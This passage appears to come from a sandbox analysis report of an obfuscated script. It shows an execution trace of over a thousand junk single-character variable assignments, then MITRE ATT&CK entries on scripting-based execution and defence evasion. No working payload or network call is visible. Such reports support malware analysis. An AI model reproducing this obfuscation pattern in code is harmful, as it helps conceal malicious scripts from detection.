362	nibkxhnv = "P";
363	nibkxhnv = "m";
364	nibkxhnv = "h";
365	nibkxhnv = "W";
366	nibkxhnv = "o";
367	nibkxhnv = "n";
368	nibkxhnv = "F";
369	nibkxhnv = "x";
370	sliyblqdg = "O";
371	sliyblqdg = "S";
372	sliyblqdg = "I";
373	sliyblqdg = "J";
374	sliyblqdg = "l";
375	sliyblqdg = "o";
376	sliyblqdg = "o";
377	sliyblqdg = "j";
378	sliyblqdg = "p";
379	sliyblqdg = "B";
380	sliyblqdg = "F";
381	sliyblqdg = "D";
382	sliyblqdg = "d";
383	sliyblqdg = "P";
384	sliyblqdg = "q";
385	sliyblqdg = "G";
386	sliyblqdg = "4";
387	syxggy = "L";
388	syxggy = "R";
389	syxggy = "C";
390	syxggy = "U";
391	syxggy = "Z";
392	syxggy = "P";
393	syxggy = "q";
394	syxggy = "S";
395	syxggy = "U";
396	syxggy = "B";
397	syxggy = "Z";
398	syxggy = "Q";
399	syxggy = "Q";
400	syxggy = "v";
401	syxggy = "x";
402	syxggy = "w";
403	syxggy = "C";
404	syxggy = "V";
405	syxggy = "g";
406	syxggy = "R";
407	syxggy = "t";
408	syxggy = "y";
409	syxggy = "a";
410	syxggy = "V";
411	syxggy = "Y";
412	syxggy = "W";
413	syxggy = "L";
414	syxggy = "I";
415	syxggy = "U";
416	syxggy = "q";
417	syxggy = "J";
418	syxggy = "C";
419	syxggy = "f";
420	syxggy = "t";
421	syxggy = "V";
422	syxggy = "8";
423	mqfxbrk = "c";
424	mqfxbrk = "P";
425	mqfxbrk = "D";
426	mqfxbrk = "p";
427	mqfxbrk = "N";
428	mqfxbrk = "L";
429	mqfxbrk = "V";
430	mqfxbrk = "j";
431	mqfxbrk = "s";
432	mqfxbrk = "Y";
433	mqfxbrk = "I";
434	mqfxbrk = "B";
435	mqfxbrk = "m";
436	mqfxbrk = "k";
437	mqfxbrk = "C";
438	mqfxbrk = "M";
439	mqfxbrk = "V";
440	mqfxbrk = "j";
441	azgmgzirb = "P";
442	azgmgzirb = "U";
443	azgmgzirb = "S";
444	azgmgzirb = "x";
445	azgmgzirb = "m";
446	azgmgzirb = "Q";
447	azgmgzirb = "s";
448	azgmgzirb = "U";
449	azgmgzirb = "d";
450	azgmgzirb = "F";
451	azgmgzirb = "G";
452	azgmgzirb = "d";
453	azgmgzirb = "Q";
454	azgmgzirb = "T";
455	azgmgzirb = "h";
456	azgmgzirb = "k";
457	azgmgzirb = "S";
458	azgmgzirb = "a";
459	azgmgzirb = "X";
460	azgmgzirb = "K";
461	azgmgzirb = "B";
462	azgmgzirb = "a";
463	azgmgzirb = "r";
464	azgmgzirb = "V";
465	azgmgzirb = "H";
466	azgmgzirb = "J";
467	azgmgzirb = "i";
468	azgmgzirb = "Y";
469	azgmgzirb = "O";
470	azgmgzirb = "m";
471	azgmgzirb = "Q";
472	azgmgzirb = "w";
473	azgmgzirb = "d";
474	azgmgzirb = "k";
475	azgmgzirb = "o";
476	azgmgzirb = "D";
477	azgmgzirb = "T";
478	azgmgzirb = "I";
479	azgmgzirb = "i";
480	htbcgp = "u";
481	htbcgp = "z";
482	htbcgp = "z";
483	htbcgp = "z";
484	htbcgp = "N";
485	htbcgp = "n";
486	htbcgp = "j";
487	htbcgp = "n";
488	htbcgp = "h";
489	htbcgp = "j";
490	htbcgp = "M";
491	htbcgp = "Q";
492	htbcgp = "R";
493	htbcgp = "K";
494	htbcgp = "f";
495	htbcgp = "Q";
496	htbcgp = "e";
497	htbcgp = "e";
498	htbcgp = "w";
499	htbcgp = "C";
500	htbcgp = "T";
501	htbcgp = "D";
502	htbcgp = "t";
503	htbcgp = "w";
504	htbcgp = "m";
505	htbcgp = "m";
506	htbcgp = "V";
507	htbcgp = "W";
508	htbcgp = "B";
509	htbcgp = "D";
510	htbcgp = "J";
511	htbcgp = "k";
512	htbcgp = "H";
513	htbcgp = "W";
514	htbcgp = "S";
515	htbcgp = "B";
516	htbcgp = "P";
517	vlxezftcb = "y";
518	vlxezftcb = "y";
519	vlxezftcb = "G";
520	vlxezftcb = "U";
521	vlxezftcb = "F";
522	vlxezftcb = "o";
523	vlxezftcb = "t";
524	vlxezftcb = "i";
525	vlxezftcb = "n";
526	vlxezftcb = "v";
527	vlxezftcb = "r";
528	vlxezftcb = "L";
529	vlxezftcb = "q";
530	vlxezftcb = "M";
531	vlxezftcb = "u";
532	vlxezftcb = "w";
533	vlxezftcb = "k";
534	vlxezftcb = "q";
535	vlxezftcb = "D";
536	vlxezftcb = "y";
537	vlxezftcb = "x";
538	vlxezftcb = "X";
539	vlxezftcb = "u";
540	vlxezftcb = "l";
541	vlxezftcb = "H";
542	vlxezftcb = "S";
543	vlxezftcb = "y";
544	vlxezftcb = "W";
545	vlxezftcb = "S";
546	vlxezftcb = "v";
547	vktnynbdh = "y";
548	vktnynbdh = "j";
549	vktnynbdh = "n";
550	vktnynbdh = "l";
551	vktnynbdh = "d";
552	vktnynbdh = "n";
553	vktnynbdh = "I";
554	vktnynbdh = "A";
555	vktnynbdh = "Z";
556	vktnynbdh = "t";
557	vktnynbdh = "x";
558	vktnynbdh = "h";
559	vktnynbdh = "h";
560	vktnynbdh = "O";
561	vktnynbdh = "q";
562	vktnynbdh = "k";
563	vktnynbdh = "x";
564	vktnynbdh = "H";
565	vktnynbdh = "D";
566	vktnynbdh = "v";
567	vktnynbdh = "b";
568	vktnynbdh = "D";
569	vktnynbdh = "C";
570	vktnynbdh = "m";
571	vktnynbdh = "D";
572	vktnynbdh = "d";
573	vktnynbdh = "i";
574	vktnynbdh = "T";
575	vktnynbdh = "Y";
576	vktnynbdh = "J";
577	vktnynbdh = "U";
578	vktnynbdh = "W";
579	dbpebzybw = "q";
580	dbpebzybw = "D";
581	dbpebzybw = "W";
582	dbpebzybw = "D";
583	dbpebzybw = "X";
584	dbpebzybw = "D";
585	dbpebzybw = "B";
586	dbpebzybw = "y";
587	dbpebzybw = "I";
588	dbpebzybw = "L";
589	dbpebzybw = "X";
590	dbpebzybw = "S";
591	dbpebzybw = "U";
592	dbpebzybw = "a";
593	dbpebzybw = "C";
594	dbpebzybw = "J";
595	dbpebzybw = "s";
596	dbpebzybw = "b";
597	dbpebzybw = "e";
598	dbpebzybw = "m";
599	ihmbonjre = "Z";
600	ihmbonjre = "j";
601	ihmbonjre = "z";
602	ihmbonjre = "z";
603	ihmbonjre = "F";
604	ihmbonjre = "o";
605	ihmbonjre = "W";
606	ihmbonjre = "j";
607	ihmbonjre = "r";
608	ihmbonjre = "k";
609	ihmbonjre = "l";
610	gtpxp = "t";
611	izhyy = "m";
612	izhyy = "z";
613	izhyy = "U";
614	izhyy = "p";
615	izhyy = "q";
616	izhyy = "m";
617	izhyy = "k";
618	izhyy = "p";
619	izhyy = "u";
620	izhyy = "n";
621	izhyy = "j";
622	izhyy = "e";
623	izhyy = "V";
624	izhyy = "v";
625	izhyy = "u";
626	izhyy = "M";
627	izhyy = "m";
628	izhyy = "k";
629	izhyy = "g";
630	izhyy = "X";
631	izhyy = "u";
632	izhyy = "Z";
633	izhyy = "a";
634	izhyy = "C";
635	izhyy = "x";
636	izhyy = "d";
637	izhyy = "h";
638	izhyy = "o";
639	izhyy = "K";
640	xdaudcqy = "z";
641	xdaudcqy = "y";
642	xdaudcqy = "T";
643	xdaudcqy = "g";
644	xdaudcqy = "o";
645	xdaudcqy = "M";
646	xdaudcqy = "J";
647	xdaudcqy = "Y";
648	xdaudcqy = "w";
649	xdaudcqy = "g";
650	xdaudcqy = "R";
651	xdaudcqy = "D";
652	xdaudcqy = "I";
653	xdaudcqy = "i";
654	xdaudcqy = "c";
655	xdaudcqy = "q";
656	xdaudcqy = "Q";
657	xdaudcqy = "F";
658	xdaudcqy = "d";
659	lovsvjpn = "h";
660	lovsvjpn = "p";
661	lovsvjpn = "X";
662	lovsvjpn = "u";
663	lovsvjpn = "O";
664	lovsvjpn = "G";
665	lovsvjpn = "m";
666	lovsvjpn = "C";
667	lovsvjpn = "G";
668	lovsvjpn = "t";
669	lovsvjpn = "J";
670	lovsvjpn = "o";
671	lovsvjpn = "H";
672	lovsvjpn = "G";
673	lovsvjpn = "m";
674	lovsvjpn = "x";
675	lovsvjpn = "F";
676	lovsvjpn = "v";
677	lovsvjpn = "f";
678	lovsvjpn = "L";
679	lovsvjpn = "K";
680	lovsvjpn = "z";
681	lovsvjpn = "c";
682	lovsvjpn = "f";
683	lovsvjpn = "H";
684	lovsvjpn = "1";
685	ynmxkggs = "Y";
686	ynmxkggs = "J";
687	ynmxkggs = "A";
688	ynmxkggs = "c";
689	ynmxkggs = "T";
690	ynmxkggs = "P";
691	ynmxkggs = "i";
692	ynmxkggs = "o";
693	ynmxkggs = "d";
694	ynmxkggs = "P";
695	ynmxkggs = "i";
696	ynmxkggs = "a";
697	ynmxkggs = "N";
698	ynmxkggs = "t";
699	ynmxkggs = "F";
700	ynmxkggs = "n";
701	ynmxkggs = "q";
702	ynmxkggs = "M";
703	ynmxkggs = "r";
704	ynmxkggs = "O";
705	ynmxkggs = "K";
706	ynmxkggs = "x";
707	ynmxkggs = "A";
708	ynmxkggs = "Y";
709	ynmxkggs = "S";
710	ynmxkggs = "j";
711	ynmxkggs = "i";
712	ynmxkggs = "q";
713	ynmxkggs = "n";
714	ynmxkggs = "\"";
715	yafeb = "b";
716	yafeb = "h";
717	hldisois = "b";
718	hldisois = "a";
719	hldisois = "o";
720	hldisois = "q";
721	hldisois = "l";
722	hldisois = "A";
723	hldisois = "A";
724	hldisois = "p";
725	hldisois = "K";
726	hldisois = "G";
727	hldisois = "d";
728	hldisois = "U";
729	hldisois = "I";
730	hldisois = "z";
731	hldisois = "D";
732	hldisois = "U";
733	hldisois = "O";
734	hldisois = "S";
735	hldisois = "c";
736	hldisois = "F";
737	hldisois = "f";
738	hldisois = "q";
739	hldisois = "F";
740	hldisois = "V";
741	hldisois = "c";
742	hldisois = "9";
743	xcxhih = "O";
744	xcxhih = "C";
745	xcxhih = "c";
746	xcxhih = "d";
747	xcxhih = "b";
748	xcxhih = "Y";
749	xcxhih = "0";
750	vgchh = "m";
751	vgchh = "Z";
752	vgchh = "S";
753	vgchh = "B";
754	vgchh = "H";
755	vgchh = "t";
756	vgchh = "s";
757	vgchh = "o";
758	vgchh = "k";
759	vgchh = "j";
760	vgchh = "E";
761	vgchh = "m";
762	vgchh = "Z";
763	vgchh = "P";
764	vgchh = "S";
765	vgchh = "J";
766	vgchh = "J";
767	vgchh = "q";
768	vgchh = "w";
769	vgchh = "e";
770	vgchh = "d";
771	vgchh = "m";
772	vgchh = "b";
773	vgchh = "R";
774	vgchh = "J";
775	vgchh = "Q";
776	vgchh = "U";
777	vgchh = "M";
778	vgchh = "X";
779	vgchh = "S";
780	vgchh = "x";
781	vgchh = "q";
782	xoinu = "F";
783	xoinu = "Z";
784	xoinu = "N";
785	xoinu = "o";
786	xoinu = "m";
787	xoinu = "w";
788	xoinu = "G";
789	xoinu = "O";
790	xoinu = "K";
791	xoinu = "x";
792	xoinu = "x";
793	xoinu = "B";
794	xoinu = "l";
795	xoinu = "F";
796	xoinu = "Q";
797	xoinu = "l";
798	xoinu = "e";
799	xoinu = "o";
800	xoinu = "A";
801	xoinu = "t";
802	xoinu = "T";
803	xoinu = "P";
804	xoinu = "X";
805	xoinu = "W";
806	xoinu = "s";
807	xoinu = "s";
808	xoinu = "L";
809	xoinu = "F";
810	xoinu = "d";
811	xoinu = "V";
812	xoinu = "t";
813	xoinu = "O";
814	xoinu = "r";
815	xoinu = "l";
816	xoinu = "i";
817	xoinu = "F";
818	xoinu = "f";
819	xoinu = "H";
820	xoinu = "J";
821	xoinu = "F";
822	bfzvkree = "g";
823	bfzvkree = "s";
824	bfzvkree = "j";
825	bfzvkree = "L";
826	bfzvkree = "o";
827	bfzvkree = "g";
828	bfzvkree = "y";
829	bfzvkree = "w";
830	bfzvkree = "C";
831	bfzvkree = "R";
832	bfzvkree = "Y";
833	bfzvkree = "X";
834	bfzvkree = "F";
835	bfzvkree = "n";
836	bfzvkree = "j";
837	bfzvkree = "H";
838	bfzvkree = "b";
839	bfzvkree = "z";
840	bfzvkree = "E";
841	bfzvkree = "Y";
842	ntjini = "Z";
843	ntjini = "a";
844	ntjini = "A";
845	ntjini = "T";
846	ntjini = "w";
847	ntjini = "j";
848	ntjini = "B";
849	ntjini = "f";
850	ntjini = "e";
851	ntjini = "J";
852	ntjini = "c";
853	ntjini = "T";
854	ntjini = "r";
855	ntjini = "b";
856	ntjini = "a";
857	ntjini = "B";
858	ntjini = "F";
859	ntjini = "L";
860	ntjini = "y";
861	ntjini = "n";
862	ntjini = "M";
863	ntjini = "i";
864	ntjini = "S";
865	ntjini = "Y";
866	ntjini = "L";
867	ntjini = "S";
868	ntjini = "G";
869	ntjini = "g";
870	ntjini = "c";
871	ntjini = "f";
872	wqplibwcw = "v";
873	wqplibwcw = "C";
874	wqplibwcw = "j";
875	wqplibwcw = "b";
876	wqplibwcw = "a";
877	wqplibwcw = "j";
878	wqplibwcw = "U";
879	wqplibwcw = "y";
880	wqplibwcw = "B";
881	wqplibwcw = "M";
882	wqplibwcw = "z";
883	wqplibwcw = "Z";
884	wqplibwcw = "e";
885	wqplibwcw = "X";
886	wqplibwcw = "S";
887	wqplibwcw = "v";
888	wqplibwcw = "i";
889	wqplibwcw = "m";
890	wqplibwcw = "e";
891	sznxgd = "D";
892	sznxgd = "L";
893	sznxgd = "f";
894	sznxgd = "P";
895	sznxgd = "i";
896	sznxgd = "u";
897	sznxgd = "M";
898	sznxgd = "Z";
899	sznxgd = "r";
900	sznxgd = "f";
901	sznxgd = "w";
902	sznxgd = "d";
903	sznxgd = "G";
904	sznxgd = "g";
905	sznxgd = "q";
906	sznxgd = "p";
907	sznxgd = "y";
908	sznxgd = "Y";
909	sznxgd = "R";
910	sznxgd = "n";
911	sznxgd = "j";
912	sznxgd = "B";
913	sznxgd = "w";
914	sznxgd = "D";
915	sznxgd = "J";
916	sznxgd = "e";
917	sznxgd = "H";
918	sznxgd = "w";
919	sznxgd = "L";
920	sznxgd = "r";
921	sznxgd = "I";
922	sznxgd = "C";
923	sznxgd = "I";
924	sznxgd = "b";
925	sznxgd = "z";
926	sznxgd = "-";
927	ncgypw = "m";
928	ncgypw = "g";
929	ncgypw = "p";
930	ncgypw = "m";
931	ncgypw = "y";
932	ncgypw = "O";
933	ncgypw = "q";
934	ncgypw = "T";
935	ncgypw = "e";
936	ncgypw = "W";
937	ncgypw = "V";
938	ncgypw = "J";
939	ncgypw = "J";
940	ncgypw = "s";
941	ncgypw = "r";
942	vnhkxvx = "V";
943	vnhkxvx = "z";
944	vnhkxvx = "P";
945	vnhkxvx = "q";
946	vnhkxvx = "o";
947	vnhkxvx = "a";
948	vnhkxvx = "E";
949	vnhkxvx = "J";
950	vnhkxvx = "A";
951	vnhkxvx = "f";
952	vnhkxvx = "Q";
953	vnhkxvx = "n";
954	vnhkxvx = "J";
955	vnhkxvx = "k";
956	vnhkxvx = "q";
957	vnhkxvx = "t";
958	vnhkxvx = "v";
959	vnhkxvx = "z";
960	vnhkxvx = "K";
961	vnhkxvx = "i";
962	vnhkxvx = "U";
963	vnhkxvx = "J";
964	vnhkxvx = "l";
965	vnhkxvx = "t";
966	vnhkxvx = "C";
967	vnhkxvx = "t";
968	vnhkxvx = "Y";
969	vnhkxvx = "Z";
970	vnhkxvx = "Q";
971	vnhkxvx = "s";
972	vnhkxvx = "e";
973	vnhkxvx = "U";
974	vnhkxvx = "l";
975	vnhkxvx = "u";
976	vnhkxvx = "i";
977	vnhkxvx = "M";
978	vnhkxvx = "z";
979	vnhkxvx = "z";
980	vnhkxvx = "o";
981	vnhkxvx = "l";
982	vnhkxvx = "n";
983	vnhkxvx = "J";
984	vnhkxvx = "&";
985	nbicyczbb = "V";
986	nbicyczbb = "m";
987	nbicyczbb = "t";
988	nbicyczbb = "K";
989	nbicyczbb = "c";
990	nbicyczbb = "u";
991	nbicyczbb = "U";
992	nbicyczbb = "Q";
993	nbicyczbb = "W";
994	nbicyczbb = "f";
995	nbicyczbb = "k";
996	nbicyczbb = "r";
997	nbicyczbb = "D";
998	nbicyczbb = "H";
999	nbicyczbb = "E";
1000	nbicyczbb = "F";
1001	nbicyczbb = "M";
1002	nbicyczbb = "E";
1003	nbicyczbb = "e";
1004	nbicyczbb = "W";
1005	nbicyczbb = "t";
1006	nbicyczbb = "S";
1007	nbicyczbb = "s";
1008	nbicyczbb = "T";
1009	nbicyczbb = "o";
1010	nbicyczbb = "l";
1011	nbicyczbb = "E";
1012	nbicyczbb = "P";
1013	nbicyczbb = "u";
1014	nbicyczbb = "h";
1015	nbicyczbb = "Z";
1016	nbicyczbb = "a";
1017	nbicyczbb = "b";
1018	nbicyczbb = "B";
1019	nbicyczbb = "q";
1020	nbicyczbb = "K";
1021	nbicyczbb = "u";
1022	nbicyczbb = "F";
1023	nbicyczbb = "V";
1024	nbicyczbb = "T";
1025	vahrnbk = "o";
1026	vahrnbk = "G";
1027	vahrnbk = "L";
1028	vahrnbk = "d";
1029	vahrnbk = "C";
1030	vahrnbk = "e";
1031	vahrnbk = "I";
1032	vahrnbk = "H";
1033	vahrnbk = "g";
1034	ernettys = "M";
1035	ernettys = "X";
1036	ernettys = "A";
1037	ernettys = "k";
1038	ernettys = "Z";
1039	ernettys = "y";
1040	ernettys = "v";
1041	ernettys = "G";
1042	ernettys = "Y";
1043	ernettys = "H";
1044	ernettys = "P";
1045	ernettys = "n";
1046	ernettys = "E";
1047	ernettys = "c";
1048	ernettys = "s";
1049	ernettys = "W";
1050	ernettys = "u";
1051	ernettys = "n";
1052	ernettys = "F";
1053	ernettys = "Q";
1054	ernettys = "G";
1055	ernettys = "c";
1056	ernettys = "O";
1057	ernettys = "m";
1058	ernettys = "W";
1059	ernettys = "x";
1060	ernettys = "L";
1061	ernettys = "g";
1062	ernettys = "o";
1063	ernettys = "B";
1064	ernettys = "q";
1065	ernettys = "Z";
1066	ernettys = "a";
1067	ernettys = "G";
1068	ernettys = "y";
1069	ernettys = "T";
1070	ernettys = "a";
1071	ernettys = "2";
1072	rzbps = "i";
1073	rzbps = "g";
1074	rzbps = "z";
1075	rzbps = "X";
1076	rzbps = "u";
1077	rzbps = "l";
1078	rzbps = "Q";
1079	rzbps = "g";
1080	rzbps = "Z";
1081	rzbps = "j";
1082	rzbps = "c";
1083	wznoxz = "P";
1084	wznoxz = "J";
1085	wznoxz = "f";
1086	wznoxz = "j";
1087	wznoxz = "r";
1088	wznoxz = "o";
1089	wznoxz = "O";
1090	wznoxz = "z";
1091	wznoxz = "I";
1092	wznoxz = "p";
1093	wznoxz = "s";
1094	wznoxz = "k";
1095	wznoxz = "G";
1096	wznoxz = "R";
1097	wznoxz = "p";
1098	wznoxz = "f";
1099	wznoxz = "j";
1100	wznoxz = "L";
1101	wznoxz = "R";
1102	wznoxz = "t";
1103	wznoxz = "D";
1104	wznoxz = "E";
1105	wznoxz = "o";
1106	wznoxz = "p";
1107	wznoxz = "S";
1108	wznoxz = "U";
1109	wznoxz = "H";
1110	wznoxz = "a";
1111	wznoxz = "S";
1112	wznoxz = "y";
1113	wznoxz = "S";
1114	wznoxz = "B";
1115	wznoxz = "J";
1116	wznoxz = "@";
1117	liehlgg = "T";
1118	liehlgg = "t";
1119	liehlgg = "Z";
1120	liehlgg = "e";
1121	liehlgg = "J";
1122	liehlgg = "b";
1123	liehlgg = "V";
1124	liehlgg = "U";
1125	liehlgg = "T";
1126	liehlgg = "u";
1127	liehlgg = "Q";
1128	liehlgg = "i";
1129	liehlgg = "Y";
1130	liehlgg = "h";
1131	liehlgg = "w";
1132	vhhsjm = "N";
1133	vhhsjm = "r";
1134	vhhsjm = "m";
1135	vhhsjm = "F";
1136	vhhsjm = "b";
1137	vhhsjm = "F";
1138	vhhsjm = "n";
1139	vhhsjm = "V";
1140	vhhsjm = "P";
1141	vhhsjm = "O";
1142	ucnrvqbm = "I";
1143	ucnrvqbm = "H";
1144	ucnrvqbm = "G";
1145	ucnrvqbm = "g";
1146	ucnrvqbm = "t";
1147	ucnrvqbm = "k";
1148	ucnrvqbm = "n";
1149	ucnrvqbm = "j";
1150	ucnrvqbm = "H";
1151	ucnrvqbm = "p";
1152	ucnrvqbm = "q";
1153	ucnrvqbm = "e";
1154	ucnrvqbm = "E";
1155	ucnrvqbm = "v";
1156	ucnrvqbm = "l";
1157	ucnrvqbm = "w";
1158	ucnrvqbm = "K";
1159	ucnrvqbm = "M";
1160	ucnrvqbm = "q";
1161	ucnrvqbm = "x";
1162	ucnrvqbm = "k";
1163	ucnrvqbm = "X";
1164	ucnrvqbm = "e";
1165	ucnrvqbm = "P";
1166	ucnrvqbm = "o";
1167	ucnrvqbm = "L";
1168	ucnrvqbm = "Q";
1169	ucnrvqbm = "g";
1170	ucnrvqbm = "P";
1171	ucnrvqbm = "V";
1172	ucnrvqbm = "Z";
1173	ucnrvqbm = "y";
1174	ucnrvqbm = "Y";
1175	ucnrvqbm = "u";
1176	ucnrvqbm = "y";
1177	ucnrvqbm = "V";
1178	ucnrvqbm = "E";
1179	ucnrvqbm = "K";
1180	ucnrvqbm = "x";
1181	ucnrvqbm = "g";
1182	ucnrvqbm = "G";
1183	ucnrvqbm = "j";
1184	ucnrvqbm = "S";
1185	ucnrvqbm = "v";
1186	ucnrvqbm = "Q";
1187	nepgv = "j";
1188	nepgv = "Z";
1189	nepgv = "O";
1190	nepgv = "z";
1191	nepgv = "c";
1192	nepgv = "f";
1193	nepgv = "V";
1194	nepgv = "M";
1195	nepgv = "O";
1196	nepgv = "g";
1197	nepgv = "K";
1198	nepgv = "X";
1199	nepgv = "Y";
1200	nepgv = "W";
1201	nepgv = "B";
1202	nepgv = "Y";
1203	nepgv = "D";
1204	nepgv = "r";
1205	nepgv = "w";
1206	nepgv = "D";
1207	nepgv = "b";
1208	hzbwhjkb = "J";
1209	hzbwhjkb = "u";
1210	gmcnmw = "R";
1211	gmcnmw = "h";
1212	gmcnmw = "t";
1213	gmcnmw = "Y";
1214	gmcnmw = "s";
1215	dfbuwdxh = "w";
1216	dfbuwdxh = "t";
1217	dfbuwdxh = "I";
1218	dfbuwdxh = "u";
1219	dfbuwdxh = "b";
1220	dfbuwdxh = "T";
1221	dfbuwdxh = "S";
1222	dfbuwdxh = "w";
1223	dfbuwdxh = "Z";
1224	dfbuwdxh = "x";
1225	dfbuwdxh = "s";
1226	dfbuwdxh = "U";
1227	dfbuwdxh = "r";
1228	dfbuwdxh = "A";
1229	dfbuwdxh = "O";
1230	dfbuwdxh = "b";
1231	dfbuwdxh = "C";
1232	dfbuwdxh = "P";
1233	dfbuwdxh = ".";
1234	juaqiye = "A";
1235	juaqiye = "s";
1236	juaqiye = "X";
1237	juaqiye = "L";
1238	juaqiye = "c";
1239	juaqiye = "e";
1240	juaqiye = "u";
1241	juaqiye = "t";
1242	juaqiye = "u";
1243	juaqiye = "N";
1244	juaqiye = "N";
1245	juaqiye = "K";
1246	juaqiye = "r";
1247	juaqiye = "u";
1248	juaqiye = "z";
1249	juaqiye = "F";
1250	juaqiye = "D";
1251	juaqiye = "s";
1252	juaqiye = "T";
1253	juaqiye = "g";
1254	juaqiye = "N";
1255	juaqiye = "z";
1256	juaqiye = "W";
1257	juaqiye = "o";
1258	juaqiye = "F";
1259	juaqiye = "5";
1260	ycyumllj = "Y";
1261	ycyumllj = "u";
1262	ycyumllj = "C";
1263	ycyumllj = "L";
1264	ycyumllj = "k";
1265	ycyumllj = "Z";
1266	ycyumllj = "o";
1267	ycyumllj = "p";
1268	ycyumllj = "a";
1269	ycyumllj = "X";
1270	ycyumllj = "A";
1271	ycyumllj = "y";
1272	ycyumllj = "t";
1273	ycyumllj = "s";
1274	ycyumllj = "e";
1275	ycyumllj = "Q";
1276	ycyumllj = "K";
1277	ycyumllj = "n";
1278	ycyumllj = "A";
1279	ycyumllj = "s";
1280	ycyumllj = "d";
1281	ycyumllj = "t";
1282	ycyumllj = "z";
1283	ycyumllj = "l";
1284	ycyumllj = "U";
1285	ycyumllj = "l";
1286	ycyumllj = "R";
1287	ycyumllj = "r";
1288	ycyumllj = "N";
1289	lwbvulf = "P";
1290	lwbvulf = "I";
1291	lwbvulf = "_";
1292	ggxqfwh = "p";
1293	ggxqfwh = "T";
1294	ggxqfwh = "V";
1295	ggxqfwh = "W";
1296	ggxqfwh = "c";
1297	ggxqfwh = "r";
1298	ggxqfwh = "a";
1299	ggxqfwh = "I";
1300	ggxqfwh = "u";
1301	ggxqfwh = "I";
1302	ggxqfwh = "Z";
1303	ggxqfwh = "d";
1304	ggxqfwh = "y";
1305	ggxqfwh = "A";
1306	ggxqfwh = "w";
1307	ggxqfwh = "f";
1308	ggxqfwh = "b";
1309	ggxqfwh = "F";
1310	ggxqfwh = "A";
1311	ggxqfwh = "E";
1312	srfye = "u";
1313	srfye = "g";
1314	srfye = "s";
1315	srfye = "c";
1316	srfye = "j";
1317	srfye = "v";
1318	srfye = "O";
1319	srfye = "Y";
1320	srfye = "R";
1321	srfye = "I";
1322	srfye = "p";
1323	srfye = "J";
1324	srfye = "Z";
1325	srfye = "J";
1326	srfye = "h";
1327	srfye = "y";
1328	srfye = "P";
1329	srfye = "s";
1330	srfye = "s";
1331	srfye = "C";
1332	srfye = "u";
1333	srfye = "a";
1334	srfye = "D";
1335	srfye = "h";
1336	srfye = "Q";
1337	srfye = "J";
1338	srfye = "p";
1339	srfye = "f";
1340	srfye = "Q";
1341	srfye = "L";
1342	srfye = "b";
1343	srfye = "J";
1344	srfye = "E";
1345	srfye = "r";
1346	srfye = "6";
1347	voxnjt = "A";
1348	voxnjt = "t";
1349	voxnjt = "y";
1350	voxnjt = "o";
1351	voxnjt = "M";
1352	voxnjt = "M";
1353	voxnjt = "L";
1354	voxnjt = "V";
1355	voxnjt = "S";
1356	voxnjt = "p";
1357	voxnjt = "x";
1358	voxnjt = "W";
1359	voxnjt = "g";
1360	voxnjt = "n";
1361	voxnjt = "v";
1362	voxnjt = "a";
1363	gegzc = "P";
1364	gegzc = "e";
1365	gegzc = "G";
1366	gegzc = "T";
1367	gegzc = "p";
1368	gegzc = "K";
1369	gegzc = "o";
1370	gegzc = "A";
1371	gegzc = "O";
1372	gegzc = "w";
1373	gegzc = "j";
1374	gegzc = "n";
1375	gegzc = "H";
1376	ookufeijb = "p";
1377	ookufeijb = "o";
1378	ookufeijb = "k";
1379	ookufeijb = "n";
1380	ookufeijb = "i";
1381	ookufeijb = "j";
1382	ookufeijb = "n";
1383	ookufeijb = "D";
1384	ookufeijb = "P";
1385	ookufeijb = "g";
1386	ookufeijb = "o";
1387	ookufeijb = "p";
1388	ookufeijb = "s";
1389	ookufeijb = "g";
1390	ookufeijb = "T";
1391	ookufeijb = "i";
1392	ookufeijb = "k";
1393	ookufeijb = "S";
1394	ookufeijb = "k";
1395	ookufeijb = "z";
1396	ookufeijb = "M";
1397	ookufeijb = "H";
1398	ookufeijb = "b";
1399	ookufeijb = "e";
1400	ookufeijb = "q";
1401	ookufeijb = "S";
1402	fyrhku = "e";
1403	fyrhku = "q";
1404	fyrhku = "l";
1405	fyrhku = "e";
1406	fyrhku = "T";
1407	fyrhku = "s";
1408	fyrhku = "D";
1409	fyrhku = "B";
1410	fyrhku = "L";
1411	fyrhku = "H";
1412	fyrhku = "Z";
1413	fyrhku = "U";
1414	fyrhku = "z";
1415	fyrhku = "j";
1416	fyrhku = "o";
1417	gycjppxr = "U";
1418	dkmwo = "f";
1419	dkmwo = "F";
1420	dkmwo = "m";
1421	dkmwo = "R";
1422	dkmwo = "U";
1423	dkmwo = "E";
1424	dkmwo = "p";
1425	dkmwo = "m";
1426	dkmwo = "R";
1427	dkmwo = "J";
1428	dkmwo = "H";
1429	dkmwo = "y";
1430	dkmwo = "K";
1431	dkmwo = "v";
1432	dkmwo = "T";
1433	dkmwo = "n";
1434	dkmwo = "w";
1435	dkmwo = "j";
1436	dkmwo = "F";
1437	dkmwo = "n";
1438	dkmwo = "3";
1439	jdmhb = "e";
1440	jdmhb = "a";
1441	jdmhb = "r";
1442	jdmhb = "T";
1443	jdmhb = "g";
1444	jdmhb = "H";
1445	jdmhb = "j";
1446	jdmhb = "U";
1447	jdmhb = "j";
1448	jdmhb = "k";
1449	jdmhb = "Z";
1450	jdmhb = "m";
1451	jdmhb = "r";
1452	jdmhb = "p";
1453	jdmhb = "w";
1454	jdmhb = "J";
1455	jdmhb = "Y";
1456	jdmhb = "u";
1457	jdmhb = "m";
1458	jdmhb = "d";
1459	jdmhb = "k";
1460	jdmhb = "n";
1461	jdmhb = "k";
1462	jdmhb = "m";
1463	jdmhb = "W";
1464	jdmhb = "N";
1465	jdmhb = "s";
1466	jdmhb = "h";
1467	jdmhb = "T";
1468	jdmhb = "Z";
1469	jdmhb = "L";
1470	jdmhb = "I";
1471	jdmhb = "k";
1472	mwtioqiwo ( );	mwtioqiwo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

